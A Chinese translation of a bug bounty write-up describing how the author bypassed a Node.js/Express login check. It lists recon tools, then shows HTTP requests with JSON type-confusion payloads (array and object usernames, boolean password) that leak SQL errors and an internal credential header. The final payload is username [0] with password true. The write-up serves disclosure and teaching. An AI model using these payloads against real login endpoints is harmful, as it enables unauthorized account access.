nodejs應用中的權限繞過漏洞—一個賞金漏洞的故事

翻譯自:https://medium.com/bugbountywriteup/authentication-bypass-in-nodejs-application-a-bug-bounty-story-d34960256402
翻譯:聶心明

hi,大家好,
在這篇文章中,我將完整介紹我在私有src中發現的一個漏洞,這個漏洞可導致nodejs的身份認證被繞過。並且我將介紹如果我遇到類似的接口(只提供單一登錄表單的接口)我將採取什麼樣的方法去測試,以發現我所感興趣的東西。

方法

如果你挖過大公司的漏洞(像GM, Sony, Oath (Yahoo!)Twitter 等),首先做偵查的第一件事情就是去運行子域名探測工具。你會發現潛在的攻擊目標,有時候你會發現這個列表中會有幾百個(如果不到一千個)不同的域名。如果你像我一樣主要關注web應用的話,你可以使用Aquatone 或者類似的工具,這些工具可以探測服務器開了哪些常見的端口(80, 443, 8080, 8443 等) ,然後生成一個很棒的html報表,報表的開頭就會展示哪些端口是開放的,報表裏面還會有網站的摘要信息(Aquatone做的實在是太好了,如果你以前沒有用過,我強烈建議你去使用)

但是如果你開始關注結果的話,你會發現發現大多數的網站給你顯示的摘要信息要麼是404 Not Found,就是401 Unauthorized,還有500 Internal Server Error或者是vpn或者網絡設備的默認登錄界面,超出漏洞收取範圍的第三方應用程序的登錄界面,如cPanels, WordPress。你可能不會接觸到那麼多的web應用程序的特性,當你運行“arsenal”時就會發現這些特性中潛藏着存儲型xss或者sql注入。至少我還沒有那麼幸運的發現這些東西。

但是有時你會發現一些定製化的網站,這些網站帶有登錄界面和一些其他的可測試的選項,像是註冊或者忘記密碼的鏈接。當我遇到一個網站的時候,我會用下面的幾個方法去做測試:

  1. 首先第一件事–我會去查看網頁的源代碼(我列了一個任務清單,你可以去讀一下 https://medium.com/@_bl4de/how-to-perform-the-static-analysis-of-website-source-code-with-the-browser-the-beginners-bug-d674828c8d9a )。你會發現一些像JavaScript文件或者css文件等資源文件,這樣你就發現一些網站的目錄(像/assets,/publish,/script或者類似的目錄–你應該檢查他們去尋找額外的內容或者沒有被鏈接所指向的一些其他目錄)
  2. Wappalyzer (所有主流瀏覽器中都有這樣的插件)能夠提供足夠多的關於對方服務器的信息—web的服務器版本,服務器端語言,JavaScript庫等等)。它會給你目標服務器的所用到的技術棧,然後你就可以選擇正確的方法進一步測試。(在新系統裏面會有一些機會去發現漏洞,如果目標應用是用Ruby on Rails搭建的,那麼用來用來攻擊javaEE的exp也可以奏效。)
  3. 如果有JavaScript文件,我運行一些靜態分析工具去尋找所有暴露的api接口或者是否會存在客戶端驗證並且驗證邏輯會保存在某個地方(如果你是一個web開發者–我希望你能知道客戶端僅僅驗證用戶提供的輸入是否過大)
  4. 從上一步獲得了所有的信息之後,我開始用Burp Suite去測試所有相關的功能(登錄,註冊,忘記密碼等)。我把抓到的數據報文發送到Repeater然後不斷的變換着請求的內容(把Content-Type改成application/json, application/xml或者其他的類型,把payload放入請求體中,選擇不同的http請求方法,或者改變http的請求頭並且尋找所有由我輸入導致的服務器報錯)。如果應用中有漏洞的話—當你發現它的那一刻,你要觀察每一次返回的報文,並且努力觀察它們之間的每一次變化—每一次的變化有時真的很小,比如泄露一些服務器的頭,特別是,當你把GET請求變成PUT請求時或者當你發送一些畸形的json數據時,服務器會返回一些奇怪的字符。
  5. 最後,我運行wfuzz 去發現一些服務器中被廢棄的文件和目錄(或者是有意的放在那裏,又或者放在那裏有其他的用處),我經常使用我的自定義的“Starter Pack”字典,這個字典裏面包含網絡上最常見的web目錄列表(源代碼版本控制系統目錄,像.git 或者.svn,IDE 目錄,像JetBrains的.idea,.DS_Store 文件,配置文件,一般的web接口路徑和admin的控制面板目錄,tomcat,JBoss,Sharepoint還有類似系統中特殊的文件和目錄),這個字典包含的內容大約有4萬5千多條並且我發現這些有趣的目錄或文件能夠幫助我進一步發現網站中的漏洞。

如果上面的步驟都不起作用,那麼我就假設這個應用的安全得到了很好的保障或者那裏沒有可繞過驗證的漏洞,或者不用考慮繞過就可以直接進入到程序中。
但是這次玩處理身份驗證的接口時給了提供了一些線索。看着這個簡單的登錄頁面,我覺得這個應用應該是自研的,然後我用Wappalyzer快速調查了這個網站的返回數據,結果這個網站是一個 NodeJS 應用,這個應用所使用的框架是 ExpressJS 。作爲一個全職的web程序員,我用過JavaScript幾年並且我在JavaScript中尋找漏洞也頗有經驗(hackerone的感謝列表中常年保持第一 )–我決定深入挖掘一下,看看能不有一些新發現。

發現

我用一些payload去測試這個接口,它應該給我一個錯誤憑證的錯誤。典型的post數據應該包含用戶名和密碼:

POST /api/auth/login HTTP/1.1 
Host: REDACTED 
Connection: close 
Content-Length: 48 
Accept: application/json, text/plain, */* 
Origin: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1 
Content-Type: application/json;charset=UTF-8 
Referer: REDACTED/login 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7 
Cookie: REDACTED
{“username”:”bl4de”,”password”:”secretpassword”}

在文章的結尾我將刪除一些HTTP頭部,因爲這些頭部和這次的漏洞沒有絲毫關係。
返回的報文沒有包含任何激動人心的內容,除了一個單獨的詳細信息,說真的,我沒有馬上意識到這一點:

HTTP/1.1 401 Unauthorized 
X-Powered-By: Express 
Vary: X-HTTP-Method-Override, Accept-Encoding 
Access-Control-Allow-Origin: * 
Access-Control-Allow-Methods: GET 
Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization 
X-Content-Type-Options: nosniff 
Content-Type: application/json; charset=utf-8 
Content-Length: 83 
ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE” 
Date: Thu, 11 Oct 2018 18:50:26 GMT 
Connection: close 

{“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}

這個返回信息以爲着我的用戶名被返回進了square brackets。
Square brackets在JavaScript中的意味着一個數組並且用戶名看上去像數組中的元素。爲了確定這一點,我發送另一個payload–一個空的數組

{“username”:[],”password”:”secretpassword”}

服務器返回的報文就很讓人感到驚喜了

{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}

一個空的數組?或者也許square brackets被當成了一個用戶名所接受?
ok,讓我們試試在用戶名的地方輸入一個空對象,然後看看它到底發生了什麼:

{“username”:{},”password”:”secretpassword”}

對於這次請求返回的數據包就證實了我剛纔對於用戶名驗證邏輯的猜想(它試圖去調用{}.replace,但是對於JavaScript的對象來說,沒有可以被替換的東西)

{"result":"val.replace is not a function","resultCode":500,"type":"error"} 

這看起來就像:我創建了一個空的對象(我用val代表這個對象)之後調用了一個replace()來作爲一個函數。你會看到上面的那個報錯很像下面代碼的報錯:

let val = {}
val.replace()
VM188:1 Uncaught TypeError: val.replace is not a function
 at <anonymous>:1:5

利用

能夠證實一個報錯是一件事,但是能夠成功利用它則是一個故事。我開始去想,服務器裏面的代碼是怎樣運行的,爲什麼會報這樣的錯誤,我在下一次的測試中用儘可能多的畸形代碼去觸發不同的報錯。嵌套數組([[]])看起來很棒:

{“username”:[[]],”password”:”secretpassword”}

服務器的相應甚至沒有達到我的預期

{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}

當看到類似於上面的報錯,賞金獵人的腦中會想到什麼?當然是sql注入啦。但是首先,我必須發現在查詢中怎樣使用用戶名才能製作出正確payload,讓MySQL服務器乖乖下跪。我在想,用戶名被當成了一個數組元素,於是我發送了一個請求,裏面的用戶名就是數組的第一個元素([0]):

{“username”:[0],”password”:”secretpassword”}

這時,應用返回了一個不一樣的錯誤信息:

{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}

經過快速的分析,我發現我可以以某種方式去使用ID爲0的用戶(或者某個數據結構中索引爲0的用戶)然後我發送另一個請求(這次內部服務器監聽的端口是21110?),這個請求很明顯沒有通過驗證,原因是密碼錯誤(你其實已經看到包含 Base64字符串super.adm:secretpassword的Authorization頭,這意味着應用已經使用了下標爲0的用戶,並且密碼來自於我最早的請求)。
下面我試圖弄清楚是否我能用下標(1, 2 等)從數據庫中枚舉用戶,然後我成功的發現了其他的兩個用戶。並且我發現我能傳遞任意數量的下標,作爲登錄請求中的用戶名,它們會被放到查詢語句中IN() :

{"username":[0,1,2,30,50,100],"password":"secretpassword"}

無論何時只要發現一個有效的下標,這個請求總是能給我返回一個有效的用戶(我想–應用試圖把請求發送給內部的API,通過數據庫的sql查詢語句去選擇要使用的用戶名)。但是我使用的密碼總是錯誤的,所以我沒有完全繞過身份驗證。所以下面的挑戰是尋找一種方法去繞過密碼驗證
我仔細思考了一下這個JavaScript的應用,我用我能想到的最簡單方式去測試:布爾 false:

{“username”:[0],”password”:false}

這次服務器返回了不同的內容:

{"result":"Please provide credentials","resultCode":500,"type":"error"}

在之前,我似乎沒有看過這樣的報錯,但是我很快的證實,返回錯誤的原因是用戶名或者密碼缺失造成的。當我提供用戶名時,服務器就去驗證密碼,而“password”:false意味着密碼不存在。發送null和0(這些值在JavaScript的判斷語句中都會被當成false)都會導致相同的錯誤

最後的poc

所以,如果密碼是false時會導致失敗的話,那麼我就把密碼換成true?

{“username”:[0],”password”:true}

就是這樣,使用數字的第一個元素([0]) 作爲用戶名並且true這個關鍵字被作爲密碼可以讓我成功的繞過用戶驗證

{"result":"Given pin is not valid.","resultCode":401,"type":"error"}

免責聲明:這個繞過並不完全,並且也不允許我登錄到這個應用,原因是這個驗證過程還涉及到第三個因素:PIN碼,它應該在登錄之後輸入。無論怎樣,這個身份驗證繞過的漏洞是有效的漏洞,並且現在已經被修復。
利用sql注入是不可能的,因爲輸入的用戶名和密碼都經過了正則的表達式的檢查,當我構造的payload中包含不被允許的特殊字符時,服務器就會返回語法錯誤。

致謝

我感謝這個公司和他們的安全團隊成員的支持,感謝hackerone的漏洞賞金計劃讓我有機會去寫這篇關於漏洞的文章
以及,特別感謝我所在的安全小組成員爲這份報告所提供的支持與反饋

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章